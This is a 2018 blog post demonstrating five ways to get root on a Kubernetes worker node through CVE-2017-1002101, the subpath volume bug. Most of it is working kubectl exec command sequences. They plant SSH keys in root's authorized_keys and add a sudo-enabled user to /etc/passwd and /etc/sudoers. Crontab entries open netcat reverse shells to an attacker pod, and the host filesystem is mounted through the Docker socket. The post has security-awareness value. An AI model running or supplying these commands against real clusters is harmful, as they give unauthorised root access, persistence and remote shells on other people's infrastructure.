Friday 18 May 2018

Hacking kubernetes part 3 - Five ways to get root access to the worker node method 2 using CVE-2017-1002101

Hi all, today I am going to demonstrate five ways to get root access to a worker node not just from a hacked pod, but also from your local machine (As long as you can access the kubernetes api :) )

Before you read the rest of this post, please read this sites to get familiar with the problem :
https://thenewstack.io/kubernetes-races-to-fix-regressions-introduced-by-recent-security-patches/
https://github.com/kubernetes/kubernetes/issues/60813

I am going to demonstrate the bug CVE-2017-1002101, accessing the subpath inside a mounted volume.

There is five ( or even more) ways to exploit this bug, the first one is if your worker node is on read only mode, that means you can't get ssh root access to the worker node depending on how locked down the node is, BUT you can read everything from it, and that also means you can access any mounted volume storage which also means that you have access to the docker socket and that means root level access :)

/tmp/kubectl exec -ti pod2 -- sh -c "ssh-keygen -t rsa -b 4096 -f /tmp/hacker.key -q -N ''"
/tmp/kubectl exec -ti pod2 -- sh -c "cd /vol/root ; mkdir .ssh ; chmod 700 .ssh ; cd .ssh ; cat /tmp/hacker.key.pub >> authorized_keys ; chmod 600 authorized_keys"
worker_ip=$(/tmp/kubectl describe pod $pod2 | grep Node: | awk {'print $2'} | cut -f2 -d/)
/tmp/kubectl exec -ti pod2 -- sh -c "ssh -o StrictHostKeyChecking=no -i /tmp/hacker.key root@$worker_ip"


The second way is when the worker node is on read write mode for the / partition, which is usually the case, that means, you can get root access to the worker node, I have seen some nodes with some of the partitions RO and some RW, so I managed to craft an exploit for all different situations and mount points that are writeable. On this second attack, I try to add a user on /etc editing /etc/passwd and also /etc/sudoers. I also set the home for this user on a RW partition like /tmp. Then I can copy my keys over and ssh into the host.


/tmp/kubectl exec -ti pod2 -- sh -c "ssh-keygen -t rsa -b 4096 -f /tmp/hacker.key -q -N ''"
/tmp/kubectl exec -ti pod2 -- sh -c "echo -e 'hacker:$pass:2000:0:Hacker:/tmp/hacker:/bin/sh' >> /vol/etc/passwd"
/tmp/kubectl exec -ti pod2 -- sh -c "echo  'hacker ALL=(ALL) ALL' >> /vol/etc/sudoers"
/tmp/kubectl exec -ti pod2 -- sh -c "cd /vol/tmp ; mkdir hacker ; cd hacker ;  mkdir .ssh ; chmod 700 .ssh ; cd .ssh ; cat /tmp/hacker.key.pub >> authorized_keys ; chmod 600 authorized_keys ; chown 2000:0 /vol/tmp/hacker -R"
worker_ip=$(/tmp/kubectl describe pod pod2 | grep Node: | awk {'print $2'} | cut -f2 -d/)
/tmp/kubectl exec -ti pod2 -- sh -c "ssh -o StrictHostKeyChecking=no -i /tmp/hacker.key hacker@$worker_ip"



The third method is also if etc is RW, in case I can't ssh into the host for some security reason , I do the opposite, I ask the node to connect back to me with a reverse shell and the way I do this is by adding a cron under /etc/crontab

pod_ip=$(/tmp/kubectl describe pod pod2 | grep -i IP | awk {'print $2'})
echo -e "Adding entry on crontab on /etc/crontab to do a reverse shell on..."
echo -e "Preparing your evil host to accept the connection..."
/tmp/kubectl exec -ti pod2 -- sh -c "echo  '* * * * * root nc -c /bin/sh $pod_ip  6666' >> /vol/etc/crontab"
/tmp/kubectl exec -ti pod2 -- sh -c "nc -l -v -p 6666"


The fourth method is if /etc is also RO and I can't add user or add cron, so I try to do the same, adding a cron for the root user ( since I can write under root perms) to /var/spool/cron/root, I add the cron into this file, so again, it's the same, just a reverse shell back to my pod.

pod_ip=$(/tmp/kubectl describe pod pod2 | grep -i IP | awk {'print $2'})
echo -e "Adding entry on crontab on /var/spool/root to do a reverse shell on..."
echo -e "Preparing your evil host to accept the connection..."
/tmp/kubectl exec -ti pod2 -- sh -c "echo  '* * * * * nc -c /bin/sh $pod_ip 6666' >> /vol/var/spool/cron/root"
/tmp/kubectl exec -ti pod2 -- sh -c "nc -l -v -p 6666"


The fifth is using the docker socket that lives under /var/run/docker.sock , so I can thing like :

/tmp/kubectl exec -ti pod2 -- sh -c "yum install -y -q docker-client"
docker -H unix:////vol/var/run/docker.sock  run -i -v /:/tmp/host busybox ls -la /tmp/host/



I have wrote an exploit to make my life easier to exploit all options which I will demonstrate on the video. On my exploit I also have a mode to poke around the file system. PS : If you have noticed, I didn't give much information on how to exploit this, that is because this was only fixed on version 1.10.